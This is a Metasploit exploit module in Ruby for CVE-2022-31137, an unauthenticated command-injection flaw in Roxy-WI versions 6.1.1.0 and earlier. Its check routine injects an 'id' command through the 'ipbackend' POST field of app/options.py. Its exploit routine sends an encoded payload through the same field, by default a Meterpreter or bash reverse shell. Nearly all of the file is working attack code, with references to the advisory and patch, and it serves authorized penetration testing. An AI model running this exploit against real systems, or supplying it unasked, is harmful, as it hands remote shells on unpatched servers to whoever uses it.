Files
metasploit-gs/modules/exploits/linux/http/roxy_wi_exec.rb
T
2022-07-19 15:58:11 -05:00

139 lines
4.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Roxy-WI Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits command injection vulnerability to achieve remote code execution.
Unauthenticated users can execute a terminal command under the context of the web server user
Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers. In versions 6.1.1.0 and earlier,
an unauthenticated user can execute some methods of administrator fun without needing any credentials.
Due to the nature of the vulnerability, an adversary can change some part of the webpage, or hijack an administrator account,
or execute operating system command under the context of the web-server user.
},
'License' => MSF_LICENSE,
'Author' => [
'Nuri Çilengir <nuri@prodaft.com>' # author & msf module
],
'References' => [
['URL', 'https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532'], # Advisory
['URL', 'https://vuldb.com/?id.203412'], # Additional Information
['URL', 'https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755'], # Patch
['CVE', '2022-31137']
],
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443,
'WfsDelay' => 25
},
'Platform' => ['python', 'unix'],
'Arch' => [ ARCH_PYTHON, ARCH_CMD ],
'Targets' => [
[
'Python payload',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
}
],
[
'Command payload',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
]
],
'Privileged' => false,
'DisclosureDate' => '2022-07-06',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ]
}
)
)
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
]
)
end
def check
print_status "Checking if #{peer} is vulnerable!"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'app', 'options.py'),
'vars_post' => {
'serv' => '127.0.0.1',
'ipbackend' => '"; id; #',
'alert_consumer' => Rex::Text.rand_text_alpha_lower(7),
'backend_server' => '127.0.0.1'
}
})
return CheckCode::Unknown("Didn't receive a response from the target.") unless res
if res && res.body =~ /uid=\d+\(.+\)/
return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')
else
return CheckCode::Detected('The target did not respond with a 200 OK.')
end
CheckCode::Safe('The target did not respond with an expected payload.')
end
def exploit
status = check
unless status == Exploit::CheckCode::Vulnerable || status == Exploit::CheckCode::Appears
fail_with(Failure::Unknown, "#{peer} - Failed to detect a vulnerable device")
end
print_status 'Generating payload.'
if target['Arch'] == ARCH_PYTHON
cmd = "\";python3 -c \"#{payload.encoded}\" #"
else
cmd = "\";#{payload.encoded};#"
end
print_status 'Trying to detect command injection vulnerability.'
begin
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'app', 'options.py'),
'vars_post' => {
'serv' => '127.0.0.1',
'ipbackend' => cmd,
'alert_consumer' => Rex::Text.rand_text_alpha_lower(7),
'backend_server' => '127.0.0.1'
}
}, 0)
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT
fail_with(Failure::Unknown, 'Something went wrong!')
else
print_good('Exploit successfully executed.')
end
end
end